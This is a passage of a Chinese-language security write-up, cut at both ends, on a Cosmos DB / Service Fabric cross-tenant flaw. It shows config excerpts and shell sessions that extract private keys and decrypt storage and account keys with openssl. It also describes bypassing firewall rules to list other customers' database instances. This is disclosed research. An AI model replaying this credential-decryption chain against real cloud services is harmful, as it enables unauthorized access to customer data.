26px;">&#34;AzureBlobServiceFabricPerfCounter&#34;</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;ConsumerType&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;AzureBlobFolderUploader&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;ContainerName&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;fabriccounters-83bd67e7-7bb1-4f4f-826f-&lt;REDACTED&gt;&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;DataDeletionAgeInDays&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;28&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;IsEnabled&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;true&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;ProducerInstance&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;ServiceFabricPerfCounter&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;StoreConnectionString&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;xstore:BlobEndpoint=<a href="https://kssf2q" target="_blank">https://kssf2q</a>&lt;REDACTED&gt;.blob.core.windows.net/;TableEndpoint=<a href="https://kssf2q" target="_blank">https://kssf2q</a>&lt;REDACTED&gt;.table.core.windows.net/;AccountName=kssf2q&lt;REDACTED&gt;;ProtectedAccountKeyName=StorageAccountKey1&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;/<span style="color: #569CD6;line-height: 26px;">Section</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Section</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;AzureTableServiceFabricEtwQueryable&#34;</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;ConsumerType&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;AzureTableQueryableEventUploader&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;DataDeletionAgeInDays&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;28&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;IsEnabled&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;true&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;ProducerInstance&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;ServiceFabricEtlFileQueryable&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;StoreConnectionString&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;xstore:BlobEndpoint=<a href="https://kssf2q" target="_blank">https://kssf2q</a>&lt;REDACTED&gt;.blob.core.windows.net/;TableEndpoint=<a href="https://kssf2q" target="_blank">https://kssf2q</a>&lt;REDACTED&gt;.table.core.windows.net/;AccountName=kssf2q&lt;REDACTED&gt;;ProtectedAccountKeyName=StorageAccountKey1&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Parameter</span> <span style="color: #9CDCFE;line-height: 26px;">Name</span>=<span style="color: #D69D85;line-height: 26px;">&#34;TableNamePrefix&#34;</span> <span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;fabriclog83bd67e77bb14f4f826f&lt;REDACTED&gt;&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;/<span style="color: #569CD6;line-height: 26px;">Section</span>&gt;</span></p></pre><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">为了将来参考，这些是我们用来解密该<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">protectedSettings</p>部分的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">OpenSSL</p>命令：</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">user@laptop:~/cosmos$ ls -latotal 144drwxr-xr-x 2 user user   4096 Aug  9 20:37 .drwxr-xr-x 3 user user   4096 Aug  9 19:53 ..-rw------- 1 user user 121900 Aug  9 18:32 ManagedCertificates.pem-rw------- 1 user user   3144 Aug  9 18:35 UnmanagedCertificates.pemuser@laptop:~/cosmos$ cat UnmanagedCertificates.pem | sed -n <span style="color: #D69D85;line-height: 26px;">&#39;/-----BEGIN PRIVATE KEY-----$/,/^-----END PRIVATE KEY-----$/p&#39;</span> &gt; protected-key.pemuser@laptop:~/cosmos$ cat UnmanagedCertificates.pem | sed -n <span style="color: #D69D85;line-height: 26px;">&#39;/-----BEGIN CERTIFICATE-----$/,/^-----END CERTIFICATE-----$/p&#39;</span> &gt; protected-cert.pemuser@laptop:~/cosmos$ <span style="color: #4EC9B0;line-height: 26px;">echo</span> MIIB0AYJKoZIhvcN...redacted...pqF8om/4fhhMgqGpu | base64 -d | openssl smime -inform DER -decrypt -recip protected-cert.pem -inkey protected-key.pem{<span style="color: #D69D85;line-height: 26px;">&#34;Placeholder&#34;</span>:<span style="color: #D69D85;line-height: 26px;">&#34;NothingImportant&#34;</span>}user@laptop:~/cosmos$ <span style="color: #4EC9B0;line-height: 26px;">echo</span> MIICkwYJKoZIhvcN...redacted...pMd+kxSTnWwJLOwgl | base64 -d | openssl smime -inform DER -decrypt -recip protected-cert.pem -inkey protected-key.pem{<span style="color: #D69D85;line-height: 26px;">&#34;StorageAccountKey1&#34;</span>:<span style="color: #D69D85;line-height: 26px;">&#34;55410uWV0y5X...redacted...XCUEN2upGg==&#34;</span>,<span style="color: #D69D85;line-height: 26px;">&#34;StorageAccountKey2&#34;</span>:<span style="color: #D69D85;line-height: 26px;">&#34;kNY61/TqYr4r...redacted...KOvBat3NbQ==&#34;</span>}</p></pre><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">我们使用 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p>存储资源管理器访问了这些存储帐户 ，发现了数百G的元数据和操作日志，以及关于<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p>底层基础设施的数百万条记录：</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.5990740740740741" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=0fb8cd9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhIIgd8KCagydOpn4TrrTc8Yd2zxHqia9szxejPRk2GycSQMhCoib776ibQ%2F640%3Fwx_fmt%3Dother"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">然后我们注意到<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">manifest.xml</p>文件中描述 Service Fabric`节点的这一部分：</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">NodeTypeName=&#34;CV2FI02&#34;</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Endpoints</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">ClientConnectionEndpointPort=&#34;19000&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">LeaseDriverEndpointPort=&#34;1026&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">ClusterConnectionEndpointPort=&#34;1025&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">HttpGatewayEndpointPort=&#34;19080&#34;Protocol=&#34;https&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">ServiceConnectionEndpointPort=&#34;1027&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">ApplicationEndpointsStartPort=&#34;20000&#34;EndPort=&#34;30000&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">EphemeralEndpointsStartPort=&#34;30001&#34;EndPort=&#34;65534&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;/<span style="color: #569CD6;line-height: 26px;">Endpoints</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Certificates</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">ClusterCertificateX509FindType=&#34;FindBySubjectName&#34;X509FindValue=&#34;fabric.westus1.cosmos.azure.com&#34;Name=&#34;Certificate&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">ServerCertificateX509FindType=&#34;FindBySubjectName&#34;X509FindValue=&#34;fabric.westus1.cosmos.azure.com&#34;Name=&#34;Certificate&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">ClientCertificateX509FindType=&#34;FindBySubjectName&#34;X509FindValue=&#34;fabric.westus1.cosmos.azure.com&#34;Name=&#34;Certificate&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;/<span style="color: #569CD6;line-height: 26px;">Certificates</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">PlacementProperties</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">PropertyName=&#34;JanusGraphCapable&#34;Value=&#34;true&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">PropertyName=&#34;MaterializedViewsBuilderCapable&#34;Value=&#34;true&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">PropertyName=&#34;NodeTypeName&#34;Value=&#34;CV2FI02&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">PropertyName=&#34;NotebookCapable&#34;Value=&#34;true&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">PropertyName=&#34;RingRoleName&#34;Value=&#34;CV2FI&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;/<span style="color: #569CD6;line-height: 26px;">PlacementProperties</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Capacities</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">CapacityName=&#34;ComputeUnits&#34;Value=&#34;80&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">CapacityName=&#34;ServiceFabric:</span>/<span style="color: #9CDCFE;line-height: 26px;">_CpuCores</span>&#34;<span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;80&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">CapacityName=&#34;ServiceFabric:</span>/<span style="color: #9CDCFE;line-height: 26px;">_MemoryInMB</span>&#34;<span style="color: #9CDCFE;line-height: 26px;">Value</span>=<span style="color: #D69D85;line-height: 26px;">&#34;442367&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;/<span style="color: #569CD6;line-height: 26px;">Capacities</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;/<span style="color: #569CD6;line-height: 26px;">NodeType</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;/<span style="color: #569CD6;line-height: 26px;">NodeTypes</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Infrastructure</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">PaaS</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Roles</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">RoleRoleName=&#34;CV2CB01&#34;NodeTypeRef=&#34;CV2CB01&#34;RoleNodeCount=&#34;5&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">RoleRoleName=&#34;CV2CW02&#34;NodeTypeRef=&#34;CV2CW02&#34;RoleNodeCount=&#34;7&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">RoleRoleName=&#34;CV2FI02&#34;NodeTypeRef=&#34;CV2FI02&#34;RoleNodeCount=&#34;8&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;/<span style="color: #569CD6;line-height: 26px;">Roles</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">Votes</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">VoteNodeName=&#34;_CV2FI02_0&#34;IPAddressOrFQDN=&#34;10.0.0.4&#34;Port=&#34;1025&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">VoteNodeName=&#34;_CV2FI02_1&#34;IPAddressOrFQDN=&#34;10.0.0.5&#34;Port=&#34;1025&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">VoteNodeName=&#34;_CV2FI02_2&#34;IPAddressOrFQDN=&#34;10.0.0.6&#34;Port=&#34;1025&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">VoteNodeName=&#34;_CV2FI02_3&#34;IPAddressOrFQDN=&#34;10.0.0.7&#34;Port=&#34;1025&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">VoteNodeName=&#34;_CV2FI02_4&#34;IPAddressOrFQDN=&#34;10.0.0.8&#34;Port=&#34;1025&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">VoteNodeName=&#34;_CV2FI02_5&#34;IPAddressOrFQDN=&#34;10.0.0.9&#34;Port=&#34;1025&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;<span style="color: #569CD6;line-height: 26px;">VoteNodeName=&#34;_CV2FI02_6&#34;IPAddressOrFQDN=&#34;10.0.0.10&#34;Port=&#34;1025&#34;</span>/&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;/<span style="color: #569CD6;line-height: 26px;">Votes</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;/<span style="color: #569CD6;line-height: 26px;">PaaS</span>&gt;</span><span style="color: #9B9B9B;line-height: 26px;">&lt;/<span style="color: #569CD6;line-height: 26px;">Infrastructure</span>&gt;</span></p></pre><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">如果到目前为止你一直在密切关注，你会记得我们的越狱包括从<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">iptables</p>中删除本地防火墙规则，这些规则阻止我们访问在上面的清单文件中看到的子网<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">10.0.0.0/16</p>。这意味着，我们现在可以自由访问它。这也意味着我们可以从我们的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Jupyter Notebook</p>容器通过端口 19080访问本地<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Service Fabric HttpGatewayEndpoint</p>，正如清单文件所示，可以通过 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">fabric.westus1.cosmos.azure.com</p>认证.</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">那么,<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Service Fabric</p>到底是什么？根据 微软的文档，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure Service Fabric</p>是一个分布式系统平台，可以轻松打包、部署和管理可扩展且可靠的微服务和容器。因此，我们可以将其视为<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Kubernetes</p>的替代品。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>列出应用程序</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">我们执行<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">sfctl</p>命令行使用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">fabric.westus1.cosmos.azure.com</p>证书连接到端口 19080 上的本地<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Service Fabric</p>并对其进行身份验证。然后我们使用该<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">sfctl application list</p>命令列出正在运行的应用程序实例。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">一下子列出该区域集群管理的所有<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p>实例（超过 500 个！）的列表，包括那些不属于我们帐户的实例：</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6675925925925926" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=b4ce1566&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhxgkdexicaqfg8e9hiaiaib1p3CBRAJkzzyiayiaY3uFPdMGMKgaFJhXVJqyQ%2F640%3Fwx_fmt%3Dother"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">查看执行命令的输出，我们认为这些字段特别有趣：</p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">COSMOSDB_ACCOUNT_KEY_ENCRYPTED</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">NOTEBOOK_AUTH_TOKEN_ENCRYPTED</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">NOTEBOOK_STORAGE_ACCOUNT_KEY_ENCRYPTED</p></div></li></ol><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">尽管这些密钥已加密（顾名思义），但我们拥有解密所需的证书：  <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">abricsecrets.documents.azure.com</p>. 这些是解密密钥的命令：</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">user@laptop:~/cosmos$ cat msg.p7mMIME-Version:1.0Content-Disposition: attachment; filename=<span style="color: #D69D85;line-height: 26px;">&#34;./msg.p7m&#34;</span>Content-Type: application/x-pkcs7-mime; name=<span style="color: #D69D85;line-height: 26px;">&#34;./msg.p7m&#34;</span>Content-Transfer-Encoding: base64MIICOgYJKoZIhvcNAQcDoIIC...redacted...6oYVI1iUIj9cS2K9JEQEvY1/A== // &lt;--- COSMOSDB_ACCOUNT_KEY_ENCRYPTEDuser@laptop:~/cosmos$ openssl cms -decrypt -<span style="color: #569CD6;line-height: 26px;">in</span> msg.p7m -inkey ./fabricsecrets.documents.azure.com.key -recip ./fabricsecrets.documents.azure.com.crtEuFBNZOWMFIee...redacted...0G7W4iDZoQeCQQ== // &lt;--- Plain-text <span style="color: #569CD6;line-height: 26px;">for</span> COSMOSDB_ACCOUNT_KEY_ENCRYPTED</p></pre><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>影响</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">使用我们通过利用上述错误配置获得的信息，我们能够：</p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);">获取集群中运行的任何<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p>实例的明文主密钥，使我们能够在未经任何授权的情况下查询和操作客户的数据库。这可以通过使用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, 